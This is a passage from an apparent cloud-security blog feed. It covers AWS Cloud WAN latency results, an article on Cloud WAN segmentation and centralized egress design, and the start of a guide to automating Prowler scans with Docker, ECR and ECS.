  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">70.14<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">71.95<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.40<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3;mso-yfti-lastrow:yes">
  <td width="104" valign="top" style="width:77.9pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">IGW
  (us-east-1)<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.38<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.13<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1.76<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0%<o:p></o:p></p>
  </td>
  <td width="104" valign="top" style="width:77.95pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">0.21<o:p></o:p></p>
  </td>
 </tr>
</tbody></table><!--kg-card-end: html--><p>Once again, these tests show that regardless of exactly how traffic is egressing, as long as the egress is within the same region the latency is pretty minimal. The only scenario that adds significant latency is a cross-region egress. This metric would likely also increase proportionally with the geographical distance between the regions.</p><hr><!--kg-card-begin: markdown--><h2 id="key-observations-and-takeaways-a-namekey-observations-and-takeawaysa">Key Observations and Takeaways <a name="key-observations-and-takeaways"></a></h2>
<!--kg-card-end: markdown--><p>Overall, the results indicate that AWS Cloud WAN introduces negligible overhead for intra-region traffic, whether connecting through Gateway or Interface VPC endpoints. Although Interface endpoints rely on Cloud WAN routing in the background, they still deliver nearly the same latency and throughput as the traditional Gateway endpoints when operating in the same region. Likewise, even cross-VPC connections within one region exhibit latency comparable to staying entirely within a single VPC, suggesting that AWS manages traffic through the same underlying high-performance backbone.</p><p>When it comes to cross-region traffic, there is a predictable increase in latency that becomes more pronounced for large transfers or repeated small object requests, such as log files. Cloud WAN is generally an excellent choice for establishing global connectivity. However, for workloads demanding very low latency, the ideal approach is to deploy NAT gateways, shared services, and inspection appliances in every region you operate in, within the Cloud WAN configuration. At a minimum, group your regions by geographical proximity (for example, at least one of the us-east-* regions) and ensure these services exist in each group. Forcing traffic across regions that fall outside of these groupings constitutes the worst-case scenario in terms of added latency. On the other hand, if your environment can tolerate slight increases in latency, Cloud WAN&#x2019;s centralized management helps simplify network operations without compromising overall reliability or performance.</p><p>Here are the most important takeaways to consider:</p><ul><li><strong>Minimal Overhead Within the Same Region</strong>: Whether traffic is directed through Gateway or Interface VPC endpoints, the performance difference is typically negligible when staying in-region.</li><li><strong>Cross-Region Latency</strong>: As expected, latencies jump when data must traverse geographical distances, indicating the need for regional egress endpoints and shared services if your applications are latency-sensitive.</li><li><strong>Small vs. Large Transfers</strong>: Large files transfer quickly within the same region, but multiple small requests (e.g., logs) see more latency impact when crossing regions.</li><li><strong>Public vs. Private Endpoints</strong>: Public S3 endpoints and external services (e.g., 8.8.8.8) show minimal overhead so long as the traffic exits in the same region. Shifting egress to another region increases response times significantly.</li><li><strong>Architectural Considerations</strong>: To balance performance and costs, you may deploy specialized egress or inspection appliances in only a few strategic regions while remaining aware of the added latency for workloads in other regions.</li></ul><p>In conclusion, AWS Cloud WAN proves to be a strong option for organizations seeking to simplify global network management without facing prohibitive latency. While it is crucial to deploy key resources in the same regions as your workloads when low latency is paramount, Cloud WAN offers a flexible and high-performing solution for most enterprise connectivity needs.</p>]]></content:encoded></item><item><title><![CDATA[Untangling AWS Networks with Cloud WAN]]></title><description><![CDATA[Discover how AWS Cloud WAN helps streamline and centralize multi-account, multi-region AWS networks, reducing complexity, enhancing visibility, and improving security and scalability.]]></description><link>https://simulationcyber.com/untangling-aws-networks-with-cloud-wan/</link><guid isPermaLink="false">678866862498e90d8692ce17</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Thu, 16 Jan 2025 04:06:46 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2025/04/overview.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#introduction">Introduction</a></li>
<li><a href="#overview-of-architecture">Overview of Architecture</a></li>
<li><a href="#implementation">Implementation</a></li>
<li><a href="#centralized-management-and-visibility">Centralized Management and Visibility</a></li>
<li><a href="#challenges-and-lessons-learned">Challenges and Lessons Learned</a></li>
<li><a href="#key-takeaways">Key Takeaways</a></li>
</ul>
<!--kg-card-end: markdown--><hr><img src="https://simulationcyber.com/content/images/2025/04/overview.png" alt="Untangling AWS Networks with Cloud WAN"><p><em>Originally written for <a href="https://www.guidepointsecurity.com/cloud-security-services/">GuidePoint Security</a> and shared here with permission.</em></p><!--kg-card-begin: markdown--><h2 id="introduction-a-idintroductiona">Introduction <a id="introduction"></a></h2>
<!--kg-card-end: markdown--><p>	As organizations grow so does their infrastructure, often without a well-designed underlying infrastructure to support this growth. At GuidePoint Security we interact regularly with customers looking to establish that foundation, or perhaps attempting to untangle the mess that is a growing environment which was not well structured to begin with.</p><p>	Three key areas where we see this lack of structure start to affect operations are multi-account management, Identity and Access Management, and networking. Much like any problem in AWS, there are always a variety of ways to address and solve these issues where each solution may be a slightly better fit for different use cases.</p><p>	Specifically, when it comes to networking, the first and most straightforward way to create connectivity between applications in separate VPC&apos;s or accounts is of course VPC peering. The limit we reach with this is that the number of peering connections required scales quadratically, so any more than a handful of VPCs and this can very quickly become unmanageable. Enter Transit Gateway. Transit Gateway&apos;s hub and spoke design allows for many VPCs to connect to a central point which simplifies the process of creating that connectivity. Undoubtedly, the addition of Transit Gateways is one of the most significant upgrades in AWS networking. However, with further growth even TGW&apos;s can become difficult to manage and centrally visualize, especially with more complex networking requirements such as centralized ingress/egress, inspection architecture, and separation between different enclaves (i.e. prod, non-prod).</p><p>	Underneath the hood, AWS Cloud WAN ultimately uses managed Transit Gateways to create connectivity for your applications to the necessary resources, but by abstracting that layer a bit we can achieve some key benefits. It allows organizations to build a unified global network by automating the deployment of network components and policies. Cloud WAN enables multi-region and multi-account connectivity within AWS, as well as easing the process of connecting non-AWS environments. It also provides centralized control and visibility to simplify management. Cloud WAN also integrates nicely with both AWS native and third-party solutions to funnel both north-south and east-west traffic through inspection points. Finally, in some cases implementing Cloud WAN can also reduce expenses by facilitating shared usage of key services such as VPC endpoints and NAT gateways.</p><hr><!--kg-card-begin: markdown--><h2 id="overview-of-architecture-a-idoverview-of-architecturea">Overview of Architecture <a id="overview-of-architecture"></a></h2>
<!--kg-card-end: markdown--><p>There are several key design decisions to make when architecting an AWS Cloud WAN solution. This starts with <strong>region support </strong>and <strong>segmentation strategy</strong>. A Core network edge (CNE) is deployed into each region that you choose when setting up the Cloud WAN network, and each CNE comes at a cost ($0.50 USD per hour = ~$365/month). Therefore, the regional support should be wide enough to support the organization&#x2019;s needs, but no more. The next and more complex step is to design the segmentation strategy. Segments are the logical structures used to delineate enclaves connected to the network and design policies to allow or disallow connectivity between them.</p><p>Two common strategies that can be used to design segments are environment-based segmentation, and application-based segmentation. Environment-based segmentation separates segments based on the environment or stage of deployment, for example, production, development, testing, and shared services/infrastructure. Benefits of this are the ability to easily create environment specific routing and access controls, to prevent things like communication between production and non-production environments. The downside to this strategy is that by default it will allow for mesh connectivity between all systems within the same segment, so ideally it should be layered with additional firewall appliance to create more granular control over what systems and applications can connect with others and over what ports/protocols. Fortunately Cloud WAN is well designed for this type of integration through the use of Network Function Groups (NFGs).</p><p>Application-based segmentation instead separates traffic based on different applications or workloads. This allows isolation of critical applications from less critical or public-facing ones, which can limit lateral movement in case of breach. It facilitates slightly more fine-grained control over application-specific security policies without the need to layer an additional firewall appliance. However, it is not capable of unlimited scaling due to a cap of 40 segments per core network, which is not adjustable, and it can also complicate the policy design.</p><p>Generally speaking, we recommend environment-based segmentation, which is exactly what we&apos;ve done for a proof of concept created to test the capabilities and limitations of AWS Cloud WAN. That said, there are a variety of factors that go into this decision which is always something that experts at GPS can help you with. Shown in the architectural diagram below, the Cloud WAN Core Network is divided into four initial segments: <strong>Production, Non-Production, Shared Services, and Egress</strong>. Common use-cases for additional segments would be a dedicated segment to facilitate connectivity to an on-premises network, and segments for environments and applications which may have strict regulatory requirements where stricter network controls can be applied to the segment without affecting all other applications. In this case <strong>Egress </strong>is set up for outbound connectivity only through a NAT gateway, but this segment would be replaced/restructured if the architecture included inspection appliances, and/or centralization of both ingress and egress.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image1.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="2000" height="1241" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image1.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image1.png 1000w, https://simulationcyber.com/content/images/size/w1600/2025/04/image1.png 1600w, https://simulationcyber.com/content/images/size/w2400/2025/04/image1.png 2400w" sizes="(min-width: 1200px) 1200px"><figcaption>Figure 1: Overview of Cloud WAN Architecture</figcaption></figure><p>Once you have determined your <strong>segmentation strategy </strong>the next step is to decide what segments will be allowed to talk to what other segments. A great way to organize this is a matrix which lists all segments at the top of each column and at the beginning of each row in order to mark which pathways are allowed, which pathways are blocked, and in some cases which pathways are allowed through Cloud WAN but sent to an inspection device for more fine-grained control over the traffic. This matrix is key when it comes to writing the <strong>policy definition</strong> to avoid needing to pause writing to make decisions ad-hoc. Below is the matrix designed for the proof of concept. In addition to allowing or disallowing connections between segments, this matrix can also be used to identify segments that should be isolated, meaning systems within the segment cannot communicate with each other (outside of the VPC), only systems in other allowed segments.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image2.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="1362" height="527" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image2.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image2.png 1000w, https://simulationcyber.com/content/images/2025/04/image2.png 1362w" sizes="(min-width: 720px) 720px"><figcaption>Figure 2: Cloud WAN Traffic Enforcement Matrix</figcaption></figure><hr><!--kg-card-begin: markdown--><h2 id="implementation-a-idimplementationa">Implementation <a id="implementation"></a></h2>
<!--kg-card-end: markdown--><p>For this proof of concept, we used Terraform to deploy the resources consistently and with easy setup/tear down during testing. The Terraform is split into two workspaces, one for deploying the Cloud WAN Core Network, and a second for deploying and connecting a variety of VPCs in multiple regions and segments. This two-stage deployment works well with multi-account deployments because the Core Network is still deployed and managed in a single account, where the VPC deployment can be templated and modified to be deployed per-account depending on what type of environment it is (i.e. prod, non-prod). As long as the Core Network is shared to the account, or to the organization via AWS Resource Access Manager (RAM), establishing the connection from the VPC into the Core Network is relatively easy and works the same when deployed via Terraform or other IaC languages. The allocation of each VPC attachment to a specific segment can also be automated through defining a tagging policy in the core network policy, then tagging the VPC attachment to meet the requirements of the segment that VPC is intended to be a part of.</p><p>The most complex part of deploying the Core Network is writing the policy, which is made much simpler by pre-defining connectivity requirements using the traffic enforcement matrix. In this case the policy was written so that both Production and Non-Production could communicate with Shared Services, and Egress, but not with each other. Additionally, Shared Services cannot connect to Egress, and both Shared Services and Egress are isolated to prevent lateral movements within these shared segments. After the initial deployment of VPCs (specifically the Egress VPCs) the policy is updated to create routes to the Egress VPC attachment so that private subnets within Production and Non-Production know where to route internet-bound traffic.</p><p>The <strong>Shared Services</strong> segment provides access to a variety of VPC endpoints for the Production and Non-Production segments, and could also host custom shared services to meet organizational needs. A few things need to be carefully configured for this setup to function. The first is that the VPCs must be configured to enable DNS support and DNS hostnames. This is because when a VPC Endpoint is deployed within a VPC a managed Route 53 Private Hosted Zone is created so that the DNS service within the VPC knows to route the traffic bound for those services to the dedicate VPC Endpoint instead of the public internet endpoints. When the VPC Endpoint is in a centralized VPC, in order to achieve the same routing mechanism, a managed Route 53 Private Hosted Zone must be created and shared with the VPC in question. In addition to this, the VPC endpoints must have a presence within the same Availability Zones (AZs) as the VPCs in other segments, so it&apos;s recommended to create VPCs within the Shared Services segment that include at least one subnet for every AZ within the region so that the endpoints can support all AZs within the region*. The Shared Services segment should also have at least one endpoint per service per region, because even if the additional latency of cross-region endpoint access is not an issue, in many cases it is not possible due to region specific encryption keys.</p><p>For the proof of concept, the <strong>Egress</strong> segment provides centralization of NAT Gateways for private subnets within the entire network, and unlike VPC endpoints, it is not required to have a set of NAT Gateways per region, although it is generally recommended. This is because there are no technical limitations preventing the use of cross-region NAT Gateways, however it does add measurable latency to connections. A common use case where cross-region egress would potentially be worth it is when an organization is deploying inspection appliances that are expensive to deploy into every region in which case the added latency of sending traffic cross-region through these appliances is worth the cost reduction.</p><p>The <strong>Production</strong> and <strong>Non-Production</strong> VPCs are fairly uncomplicated. They are deployed across a handful of regions and AZs, and once the VPC attachment is established, any VPC in any account is centrally visible through the account with the Cloud WAN Core Network.</p><p>* AZ&apos;s have randomized alias per account and region (i.e. us-east-1a), so you must use the AZ ID (i.e. use1-az1) to ensure proper mapping of AZ support between VPCs, especially in segments such as Shared Services.</p><hr><!--kg-card-begin: markdown--><h2 id="centralized-management-and-visibility-a-idcentralized-management-and-visibilitya">Centralized Management and Visibility <a id="centralized-management-and-visibility"></a></h2>
<!--kg-card-end: markdown--><p>The Cloud WAN Management Interface within the AWS Console is nested within AWS Network Manager and provides two main views for visualizing the entire network. The first is a Topology graph which shows a bubble for each region, which then has bubbles for each segment that is available within that region (region-presence is configured per segment), and finally a bubble for each VPC connected to each segment within each region. Below is the Topology graph for the proof of concept deployment:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image3.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="1300" height="1062" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image3.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image3.png 1000w, https://simulationcyber.com/content/images/2025/04/image3.png 1300w" sizes="(min-width: 720px) 720px"><figcaption>Figure 3: Cloud WAN Topology Graph</figcaption></figure><p>The Topology tree view shows essentially all the same information but is more structured than the Topology graph and is not moveable.</p><p>Another fantastic tool the service provides for visualizing routes is the Logical view. This tool allows you to select source and destination segments and attachments to see if VPCs have connectivity through the network, and if they do, exactly the pathway the traffic takes. For example, here is a pathway that a VPC within the Production segment takes to connect to a Shared Services VPC. In this image we can see the orange line which depicts an uninterrupted pathway between the prod-us-east-1-vpc-attachment and the shared_services-us-east-1-vpc-attachment.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image4.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="2000" height="1008" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image4.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image4.png 1000w, https://simulationcyber.com/content/images/size/w1600/2025/04/image4.png 1600w, https://simulationcyber.com/content/images/2025/04/image4.png 2325w" sizes="(min-width: 720px) 720px"><figcaption>Figure 4: Uninterrupted Path Through Cloud WAN</figcaption></figure><p>Conversely, here is an image that shows that the attempted connection between a Production VPC and a Non-Production VPC that is interrupted by the lack of a route between the segments. This brings up an important concept which is that Cloud WAN does not have an explicit DENY when defining the core network policy. Instead, all connections are an implicit deny unless explicitly allowed. When traffic attempts to connect to a resource in a segment that is not allowed it is simply dropped because there is no route created between those segments. In this case the orange line shows that each of the VPC at either end of this connection can reach their own segment core, but the segments cannot reach each other. Shared segments such as Egress and Shared Services are also not transitive, so they cannot be used to facilitate a pathway to a segment that is not directly attached. A blackhole route can also be used to explicitly deny specific IPs or IP ranges.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image5.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="2000" height="979" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image5.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image5.png 1000w, https://simulationcyber.com/content/images/size/w1600/2025/04/image5.png 1600w, https://simulationcyber.com/content/images/2025/04/image5.png 2385w" sizes="(min-width: 720px) 720px"><figcaption>Figure 5: Interrupted Path Through Cloud WAN</figcaption></figure><p>This tool is not only useful for validating intended connectivity and structure of the network, but also beneficial in troubleshooting when resources <em>should</em> have connectivity and don&apos;t. As a note here, the AWS Network Reachability Analyzer tool unfortunately does <strong>not </strong>support Cloud WAN resources (as of the writing of this article). If AWS does eventually add support for tracing traffic through the Cloud WAN network, I think it would be very beneficial along with this tool for troubleshooting and validating configurations.</p><p>Among other tidbits of detail available to see within the console for Cloud WAN networks, a final one to highlight is the visibility of routes created automatically. This view really drives home the benefit of the abstraction of the management of the Transit Gateways discussed earlier, because despite the relative simplicity of this proof-of-concept design there is still a fairly large number of individual routes created for each region, segment, and the entire system. The image below shows all of the routes created just for VPCs in us-east-1 attached to the Production segment. It includes routes to other Production VPCs, Shared Services, and a default route pointing towards the Egress attachment for internet connectivity through the centralized NAT Gateways. As you can imagine, the count of these routes created would scale dramatically with more VPCs and more segments, while the management of the core network policy remains very manageable. Additionally, each of the &#x201C;PROPOGATED&#x201D; routes are created based on what segments are allowed to talk to each other or within themselves, while the &#x201C;STATIC&#x201D; route here was created from the custom route creation within the Cloud WAN core network policy. Despite needing to create the static route in this case to direct the default route to the egress segment, this only needs to be done once and will automatically replicate to all VPCs and segments that the route is configured to apply to.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image6.png" class="kg-image" alt="Untangling AWS Networks with Cloud WAN" loading="lazy" width="2000" height="1023" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image6.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image6.png 1000w, https://simulationcyber.com/content/images/size/w1600/2025/04/image6.png 1600w, https://simulationcyber.com/content/images/2025/04/image6.png 2077w" sizes="(min-width: 720px) 720px"><figcaption>Figure 6: Routes Auto Generated By Cloud WAN</figcaption></figure><hr><!--kg-card-begin: markdown--><h2 id="challenges-and-lessons-learned-a-idchallenges-and-lessons-learneda">Challenges and Lessons Learned <a id="challenges-and-lessons-learned"></a></h2>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ul>
<li>AZ&apos;s have randomized <strong>alias</strong> per account and region (i.e. us-east-1a), so you must use the <strong>AZ ID</strong> (i.e. use1-az1) to ensure proper mapping of AZ support between VPCs, especially in segments such as Shared Services.</li>
<li>If you attempt to deploy VPC attachments via IaC within the same Terraform workspace as the Cloud WAN Core Network deployment, there is a bit of a race condition that is difficult to overcome, therefore it is recommended to have a dedicated deployment of the Cloud WAN resources followed by any VPC resources.</li>
<li>The Cloud WAN Core Network Policy takes a while to finish deploying (~15-30+ minutes) and must be fully completed before any VPC attachments can be created</li>
<li>Centralizing the VPC endpoints in Shared Services requires DNS support and DNS hostnames to be set to True in other VPCs (i.e. Production and Non-Production VPCs), along with a dedicated Route 53 Private Hosted Zone for each Endpoint that is shared with all VPCs within those other segments that need to use that Endpoint.</li>
<li>Many if not all Cross-Region endpoints will fail due to a certificate error because the endpoints are region-specific.</li>
<li>Cross-region egress through shared NAT Gateways is possible but adds measurable (not necessarily intolerable) latency.</li>
<li>Centralized Egress is much easier to configure than centralized Ingress which requires much more substantial appliances to properly route inbound traffic from the internet, and also negates some of the benefit of services like CloudFront by forcing a decentralized service to be centralized. We generally recommend that ingress web traffic stays decentralized, and leverage AWS-native or 3rd party WAFs for additional protection.</li>
<li>When migrating existing VPCs into a Cloud WAN network, the <strong>final</strong> step of the migration should be altering the VPC route tables to start sending traffic into the Cloud WAN network.</li>
<li>Protecting permissions to the centralized networking infrastructure is critically important &#x2013; GuidePoint can help define appropriate guardrails to ensure that only authorized individuals have the capacity to modify these network security configuration.</li>
</ul>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h2 id="key-takeaways-a-idkey-takeawaysa">Key Takeaways <a id="key-takeaways"></a></h2>
<!--kg-card-end: markdown--><p>As organizations scale, their networks often become a tangled mess of VPC peering connections that don&apos;t scale well, leading to operational challenges. Transit Gateway (TGW) helps by centralizing connections, but as environments expand across regions with increasing demands for centralized ingress/egress and inspection, even TGWs grow complex and hard to manage. This lack of structure can create silos, increase costs, and make enforcing consistent policies across accounts difficult.</p><p>AWS Cloud WAN simplifies this by automating the deployment of managed TGWs and providing a unified global network layer. It connects VPCs, on-prem data centers, and remote sites while allowing centralized policy enforcement and traffic inspection. By consolidating NAT gateways, VPC endpoints, and other shared services, Cloud WAN reduces duplication and improves visibility. The result is a scalable, secure, and cost-effective way to manage growing, multi-account AWS environments, cutting through complexity with centralized control and automated connectivity. Stay tuned for a future blog post on latency testing within an AWS Cloud WAN network!</p>]]></content:encoded></item><item><title><![CDATA[Automating AWS Prowler Scans]]></title><description><![CDATA[In this guide, we automate daily Prowler scans using Docker, AWS ECR, and ECS, pushing results seamlessly into an S3 bucket which can trigger an array of subsequent actions for data visualization and analysis. ]]></description><link>https://simulationcyber.com/automating-aws-prowler-scans/</link><guid isPermaLink="false">64d6c084a4e3fff2cb818a5b</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Sat, 12 Aug 2023 00:34:34 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2023/08/Automate_Prowler-1.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://simulationcyber.com/content/images/2023/08/Automate_Prowler-1.png" alt="Automating AWS Prowler Scans"><p>In the ever-evolving landscape of cloud security, regularly assessing your AWS environment is paramount. In this guide, we automate daily Prowler scans using Docker, AWS ECR, and ECS, pushing results seamlessly into an S3 bucket which can trigger an array of subsequent actions for data visualization and analysis. Discover the nuances of Docker configurations, the elegance of Amazon EventBridge, and the flexibility of task definitions in this comprehensive walkthrough.</p>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#prerequisites">Prerequisites</a></li>
</ul>
<ol>
<li><a href="#creating-the-docker-container">Creating the Docker Container</a></li>
<li><a href="#setting-up-the-ecr-registry">Setting up the ECR Registry</a></li>
<li><a href="#configuring-the-task-definition">Configuring the Task Definition</a></li>
<li><a href="#setting-up-the-ecs-cluster">Setting up the ECS Cluster</a></li>
<li><a href="#automating-with-amazon-eventbridge">Automating with Amazon EventBridge</a></li>
</ol>
<ul>
<li><a href="#conclusion">Conclusion</a></li>
</ul>
<h2 id="prerequisites">Prerequisites</h2>
<ol>
<li>
<p><strong>AWS Account:</strong> Active AWS account with permissions for ECR, ECS, S3, Lambda, and EventBridge.</p>
</li>
<li>
<p><strong>Local Environment:</strong></p>
<ul>
<li><strong>Docker:</strong> For building the Prowler container.</li>
<li><strong>AWS CLI:</strong> For interacting with AWS.</li>
<li><strong>Python:</strong> Beneficial for potential testing.</li>
</ul>
</li>
<li>
<p><strong>Knowledge Base:</strong> Understand AWS basics, Docker operations, and security assessments.</p>
</li>
<li>
<p><strong>Networking in AWS:</strong> VPCs with two subnets that can connect to the internet. (either public subnets, or private subnets with a NAT gateway)</p>
</li>
<li>
<p><strong>IAM Setup:</strong> Roles and policies for Prowler scanning and ECS task access to S3.</p>
</li>
<li>
<p><strong>Storage:</strong> An S3 bucket to store Prowler results and necessary configurations for any post-storage actions.</p>
</li>
</ol>
<p>With these in place, you&apos;re ready to automate security assessments in AWS.</p>
<h2 id="creating-the-docker-container">Creating the Docker Container</h2>
<p>Initially, to create the docker container, you&apos;ll be using your local system, which requires the applications listed in the Prerequisite section. Create a working directory to store some files used, and pull up your preferred command line interface. In creating this guide I used bash in a Linux system.</p>
<ol>
<li>
<p><strong>Create a Dockerfile:</strong> Start by creating a new file named <code>Dockerfile</code> in your project directory.</p>
</li>
<li>
<p><strong>Input the Dockerfile Content:</strong></p>
<p>Add the following content to the Dockerfile:</p>
<pre><code class="language-Dockerfile">FROM python:3.9-slim

WORKDIR /prowler

RUN apt-get update &amp;&amp; apt-get install -y \
  git \
  awscli \
  &amp;&amp; rm -rf /var/lib/apt/lists/*

RUN pip install prowler

ENTRYPOINT [&quot;prowler&quot;]
</code></pre>
</li>
<li>
<p><strong>Build the Docker Image:</strong> From your project directory where the Dockerfile is located, run the following command to build the Docker image:</p>
<pre><code class="language-bash">docker build -t prowler-auto .
</code></pre>
<p>This command tags the Docker image with the name <code>prowler-auto</code>. To verify image creation you can use the command <code>docker images</code> to list your available images.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/docker_build-1.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="4">
<li>
<p><strong>Test the Docker Container Locally:</strong> Once the Docker image is built, you can run it locally to ensure Prowler functions as expected. Use the following command:</p>
<pre><code class="language-bash">docker run --rm prowler-auto -h
</code></pre>
<p>This should display the help output for Prowler, indicating that it&apos;s working properly. The --rm flag removes the container once it&apos;s done executing.</p>
<p>If you would like to test the  container using a command similar to what you may be defining in your task definition, you can use the following command:</p>
<pre><code class="language-bash">docker run -rm prowler-auto aws -f us-east-1 -M json -B &lt;s3-bucket-name&gt; 
</code></pre>
<p>Working through this command the <code>-rm</code> tells docker to remove the container once it&apos;s finished executing, then the section following <code>prowler-auto</code> is the remainder of the prowler command we would like to run. In this case -f is the flag to indicate region, if you&apos;d like to scan multiple regions you can list them without anything in between, i.e. <code>-f us-east-1 us-east-2</code>. The -M is the output formats I&apos;m looking for, in this case only JSON, and finally -B is a built in Prowler flag for pushing scan results to an S3 bucket given a bucket name. All of this assumes you have the appropriate permissions configured for running the scan and pushing your results to an S3 bucket.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/local_testing-1.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="5">
<li><strong>Prepare for Next Steps:</strong> Now that your Docker container is ready, you can push it to AWS&apos;s Elastic Container Registry (ECR) in the next steps, so keep your terminal or command prompt open.</li>
</ol>
<h2 id="setting-up-the-ecr-registry">Setting up the ECR Registry</h2>
<p>Amazon Elastic Container Registry (ECR) is a managed Docker container registry service that makes it easier for developers to store, manage, and deploy Docker container images. Follow these steps to set up the ECR registry for your Prowler Docker image:</p>
<ol>
<li>
<p><strong>Navigate to Amazon ECR:</strong></p>
<p>Log in to the AWS Management Console and open the Amazon ECR console at <code>https://console.aws.amazon.com/ecr/</code>.</p>
</li>
<li>
<p><strong>Create a New Repository:</strong></p>
<ul>
<li>Click on <code>Create repository</code>.</li>
<li>Provide a name for your repository, for instance, <code>prowler-repository</code>.</li>
<li>Configure any other optional settings as needed.</li>
<li>Click on <code>Create repository</code>.</li>
</ul>
</li>
</ol>
